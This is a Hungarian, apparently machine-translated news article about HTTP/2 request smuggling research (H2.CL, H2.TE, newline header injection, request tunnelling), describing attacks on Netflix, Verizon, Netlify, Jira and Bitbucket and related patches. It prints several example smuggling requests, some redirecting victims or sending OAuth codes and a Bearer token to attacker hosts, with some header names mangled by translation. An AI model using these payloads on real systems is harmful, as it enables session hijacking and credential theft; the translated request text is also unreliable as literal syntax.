Az olyan webes rendszerek, amelyekben az előtér HTTP/2-n keresztül fogadja a kapcsolatokat, és HTTP/1.1-en keresztül továbbítja azokat a háttérrendszernek, a „HTTP Request Smuggling” támadás új változatának lett kitéve, amely speciálisan kialakított klienskérések küldésével lehetővé teszi a beékelődik a más felhasználóktól érkező kérések tartalmába, amelyeket ugyanabban a folyamatban dolgoznak fel az előtér és a háttérrendszer között. A támadás felhasználható rosszindulatú JavaScript kód beillesztésére egy legitim webhely munkamenetébe, megkerülheti a hozzáférést korlátozó rendszereket és elfoghatja a hitelesítési paramétereket.
A probléma a webproxykat, a terheléselosztókat, a webgyorsítókat, a tartalomszolgáltató rendszereket és más olyan konfigurációkat érinti, amelyekben a kérelmek az előtértől a háttér felé irányítódnak át. A tanulmány szerzője bemutatta a Netflix, a Verizon, a Bitbucket, a Netlify CDN és az Atlassian rendszereinek megtámadásának lehetőségét, és 56 ezer dollár jutalomprogramot kapott a sebezhetőségek azonosításáért. A probléma az F5 Networks termékeiben is megerősítést nyert. A probléma részben érinti a mod_proxyt az Apache http szerveren (CVE-2021-33193), javítás a 2.4.49-es verzióban várható (a fejlesztőket május elején értesítették a problémáról, és 3 hónapot kaptak a megoldásra). Az nginxben a „Content-Length” és a „Transfer-Encoding” fejlécek egyidejű megadásának lehetőségét blokkolták a legutóbbi kiadásban (1.21.1). A támadási eszközök már benne vannak a Burp eszközkészletben, és elérhetők a Turbo Intruder bővítmény formájában.
A kérések forgalomba ékelésének új módszerének működési elve hasonló az ugyanazon kutató által két évvel ezelőtt azonosított sebezhetőséghez, de a HTTP/1.1-en keresztül érkező kéréseket fogadó frontendekre korlátozódik. Emlékezzünk vissza, hogy a frontend-backend sémában az ügyfelek kéréseit egy további csomópont fogadja - a frontend, amely hosszú élettartamú TCP-kapcsolatot hoz létre a háttérrel, amely közvetlenül feldolgozza a kéréseket. Ezen a közös kapcsolaton keresztül általában különböző felhasználóktól érkező kérések továbbításra kerülnek, amelyek egymás után követik a láncot, HTTP protokoll segítségével elválasztva.
A klasszikus „HTTP Request Smuggling” támadás azon alapult, hogy a frontendek és a backendek értelmezik a „Content-Length” (meghatározza a kérésben lévő adatok teljes méretét) és a „Transfer-Encoding: chunked” (lehetővé teszi) HTTP-fejlécek használatát. részletekben továbbítandó adatok) eltérően. Például, ha a kezelőfelület csak a „Content-Length” funkciót támogatja, de figyelmen kívül hagyja a „Transfer-Encoding: chunked”, akkor a támadó olyan kérést küldhet, amely tartalmazza a „Content-Length” és „Transfer-Encoding: chunked” fejlécet is, de a méret "Tartalom-hosszúság" nem egyezik a darabolt lánc méretével. Ebben az esetben a frontend feldolgozza és átirányítja a kérést a „Tartalom-hosszúság” szerint, a háttér pedig a „Transfer-Encoding: chunked” alapján várja meg a blokk befejezését, és a támadó kérésének fennmaradó része valaki más következőként továbbított kérésének elején legyen.
A HTTP/1.1 szövegprotokolltól eltérően, amelyet sorszinten értelmeznek, a HTTP/2 egy bináris protokoll, és előre meghatározott méretű adatblokkokat kezel. A HTTP/2 azonban pszeudofejléceket használ, amelyek megfelelnek a szokásos HTTP-fejléceknek. A HTTP/1.1 protokollon keresztüli interakció esetén a frontend ezeket a pszeudofejléceket hasonló HTTP/1.1 HTTP-fejlécekké fordítja le. A probléma az, hogy a háttérrendszer a frontend által beállított HTTP-fejlécek alapján dönt a folyam elemzéséről anélkül, hogy információval rendelkezne az eredeti kérés paramétereiről.
Különösen a „content-length” és „transfer-encoding” értékek pszeudofejlécek formájában továbbíthatók, annak ellenére, hogy a HTTP/2-ben nem használják őket, mivel az összes adat méretét meghatározzák. külön mezőben. A HTTP/2-kérés HTTP/1.1-re konvertálása során azonban ezek a fejlécek átkerülnek, és összezavarhatják a háttérrendszert. Két fő támadási változat létezik: a H2.TE és a H2.CL, amelyekben a háttérrendszert félrevezetik egy helytelen átviteli kódolás vagy tartalomhossz érték, amely nem felel meg a frontend által a felületen keresztül kapott kérés törzsének tényleges méretének. HTTP/2 protokoll.
A H2.CL támadásra példa az, hogy a tartalomhosszúságú pszeudofejlécben helytelen méretet adnak meg, amikor HTTP/2-kérést küldenek a Netflixnek. Ez a kérés egy hasonló Content-Length HTTP-fejléc hozzáadásához vezet, amikor a háttérrendszert HTTP/1.1-en keresztül éri el, de mivel a Content-Length-ben a méret kisebb, mint a tényleges, a végpontban lévő adatok egy része feldolgozásra kerül a következő kérés kezdete.
Például kérje HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Kérést küld a háttérrendszernek: POST /n HTTP/1.1 Host: www.netflix.com Tartalomhossz: 4 abcdGET /n HTTP/1.1 Gazda: 02.rs?x.netflix.com Foo: bar
Mivel a Content-Length értéke 4, a háttérrendszer csak az „abcd”-t fogadja el a kérés törzseként, a „GET /n HTTP/1.1...” többi része pedig egy következő kérés kezdeteként kerül feldolgozásra. társítva egy másik felhasználóval. Ennek megfelelően az adatfolyam deszinkronizálódik, és a következő kérésre válaszul kiadják a fiktív kérés feldolgozásának eredményét. A Netflix esetében a „Host:” fejlécben egy álkérelemben egy harmadik fél gazdagépének megadása azt eredményezte, hogy az ügyfél a „Helyszín: https://02.rs?x.netflix.com/n” választ adta vissza, és lehetővé tette tetszőleges tartalom küldését az ügyfélnek, beleértve a JavaScript-kód futtatását a Netflix webhely kontextusában.
A második támadási lehetőség (H2.TE) magában foglalja a „Transfer-Encoding: chunked” fejléc helyettesítését. Az átviteli kódolású pszeudofejléc használatát a HTTP/2-ben a specifikáció tiltja, és az ezzel kapcsolatos kéréseket hibásként írja elő. Ennek ellenére egyes frontend implementációk nem veszik figyelembe ezt a követelményt, és lehetővé teszik egy átviteli kódolású pszeudofejléc használatát a HTTP/2-ben, amelyet hasonló HTTP-fejlécvé alakítanak át. Ha van „Transfer-Encoding” fejléc, a háttérprogram magasabb prioritást élvezhet, és darabonként elemzi az adatokat „csonkított” módban, különböző méretű blokkokkal a „{size}\r\n{block” formátumban. }\r\n{méret} \r\n{blokk}\r\n0", a teljes méret szerinti kezdeti felosztás ellenére.
Egy ilyen rés jelenlétét a Verizon példája bizonyította. A probléma a hitelesítési portált és a tartalomkezelő rendszert érintette, amelyet olyan oldalakon is használnak, mint a Huffington Post és az Engadget. Például egy ügyfél kérése HTTP/2-n keresztül: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
HTTP/1.1 kérés küldése a háttérrendszernek: POST /identity/XUI HTTP/1.1 Gazda: id.b2b.oath.com Tartalom-hossz: 66 Átvitel-kódolás: darabolt 0 GET /oops HTTP/1.1 Gazda: psres. nettó Tartalom- Hossz: 10x=
A háttér pedig figyelmen kívül hagyta a "Content-Length" fejlécet, és a "Transfer-Encoding: chunked" alapján folyamon belüli felosztást hajtott végre. A gyakorlatban a támadás lehetővé tette a felhasználói kérések átirányítását a webhelyükre, beleértve az OAuth hitelesítéshez kapcsolódó kérések elfogását, amelyek paraméterei a Referer fejlécben jelennek meg, valamint hitelesítési munkamenet szimulálását és a felhasználó rendszerének hitelesítési adatok küldését váltotta ki. a támadó gazdájának. GET /b2blanding/show/oops HTTP/1.1 Gazda: psres.net Hivatkozó: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Gazda: psres.net Engedélyezés: Bearer eyJhcGwiOiJIUzI1Gi1IkI6Gi6
Az olyan HTTP/2 megvalósítások támadására, amelyek nem teszik lehetővé az átviteli kódolású pszeudofejléc megadását, egy másik módszert javasoltak, amely magában foglalja a „Transfer-Encoding” fejléc helyettesítését úgy, hogy más pszeudofejlécekhez csatolja, újsor karakterrel elválasztva ( HTTP/1.1-re konvertálva ebben az esetben két külön HTTP-fejlécet hoz létre).
Például az Atlassian Jira és a Netlify CDN (a Firefoxban a Mozilla kezdőoldalának kiszolgálására szolgál) érintette ez a probléma. Pontosabban, a HTTP/2 kérés :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Tartalom hossza: 5\r\n \r\nx=
A rendszer HTTP/1.1 POST / HTTP/1.1 kérést küld a háttérrendszernek\r\n Gazda: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Gazda: evil-netlify-domain\r\n Tartalom hossza: 5\r\n \r \nx=
Egy másik lehetőség a „Transfer-Encoding” fejléc helyettesítésére az volt, hogy egy másik pszeudofejléc nevéhez vagy egy kérési metódussal rendelkező sorhoz csatolták. Például az Atlassian Jira elérésekor a „foo:bar\r\ntransfer-encoding” pszeudofejlécnév „chunked” értékkel a „foo:bar” és „transfer-encoding: chunked” HTTP-fejlécek hozzáadását okozta. , és a "GET / HTTP/1.1\r\nTransfer-encoding: chunked" pszeudofejléc ":method" értékét "GET / HTTP/1.1\r\ntransfer-encoding: chunked"-re fordították.
A problémát azonosító kutató egy kérés alagút technikát is javasolt a frontendek támadására, amelyben minden IP-cím külön kapcsolatot létesít a háttérrendszerrel, és nem keveredik a különböző felhasználók forgalma. A javasolt technika nem teszi lehetővé más felhasználók kéréseibe való beavatkozást, de lehetővé teszi a megosztott gyorsítótár mérgezését, amely befolyásolja más kérések feldolgozását, és lehetővé teszi a belső HTTP-fejlécek helyettesítését, amelyek a szolgáltatási információk továbbítására szolgálnak a frontendről a háttérbe ( például a frontend oldalon történő hitelesítéskor az ilyen fejlécek információkat küldhetnek az aktuális felhasználóról a háttérrendszernek). A módszer gyakorlati alkalmazásának példájaként a gyorsítótár-mérgezés segítségével a Bitbucket szolgáltatásban lehetett oldalak felett irányítást szerezni.
Forrás: opennet.ru